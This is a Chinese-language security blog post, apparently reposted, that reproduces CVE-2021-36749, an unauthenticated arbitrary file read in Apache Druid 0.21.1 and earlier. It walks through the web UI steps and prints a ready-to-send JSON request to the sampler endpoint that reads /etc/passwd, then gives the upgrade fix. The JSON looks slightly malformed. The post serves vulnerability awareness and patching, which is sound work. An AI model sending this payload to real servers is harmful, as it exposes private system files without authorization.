Apache Druid任意文件读取漏洞复现

admin 2022年1月17日03:11:34评论100 views字数 1074阅读3分34秒阅读模式
1 漏洞介绍
    Apache Druid存在任意文件读取漏洞(CVE-2021-36749),攻击者可通过将文件URL传递给HTTP InputSource,因Apache Druid默认情况下缺乏授权认证,即攻击者可构造恶意请求,在未授权情况下利用该漏洞读取任意文件,可导致服务器敏感信息泄漏。
Apache Druid任意文件读取漏洞复现

2 影响范围
    影响版本
Apache Druid <= 0.21.1
    资产分布:
Apache Druid任意文件读取漏洞复现

3 漏洞复现
(1)直接访问Druid页面,无需认证,点击Load data选项。
Apache Druid任意文件读取漏洞复现
(2)点击HTTP(s)选项,连接数据。
Apache Druid任意文件读取漏洞复现
(3)选择源类型为local,目录为/etc,文件为passwd,点击Apply,成功回显文件内容。
Apache Druid任意文件读取漏洞复现
(4)若是无法进入Load data选项,可直接构造POST请求包向接口/druid/indexer/v1/sampler发送。
{  "type": "index",  "spec": {    "ioConfig": {      "type": "index",      "inputSource": {        "type": "local",        "baseDir": "/etc/",        "filter": "passwd"      },      "inputFormat": {        "type": "json",        "keepNullColumns": true      }    },    "dataSchema": {      "dataSource": "sample",      "timestampSpec": {        "column": "timestamp",        "format": "iso",        "missingValue": "1970"      },      "dimensionsSpec": {}    }  },  "type": "index",  "tuningConfig": {    "type": "index"  }},  "samplerConfig": {    "numRows": 500,    "timeoutMs": 15000  }}

Apache Druid任意文件读取漏洞复现


4 漏洞修复
    及时升级Apache Druid至最新安全版本:Apache Druid 0.22.0
下载地址:https://druid.apache.org/downloads.html

5 参考文章
https://it.ruc.edu.cn/wlaq/4f2734fbb2da4df0aa54cb8d03b7ec45.htmhttps://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247489698&idx=1&sn=a891b69cc646a5e44e3eaa68efad878e

原文始发于微信公众号(Reset安全):Apache Druid任意文件读取漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月17日03:11:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Druid任意文件读取漏洞复现http://cn-sec.com/archives/740785.html

发表评论

匿名网友 填写信息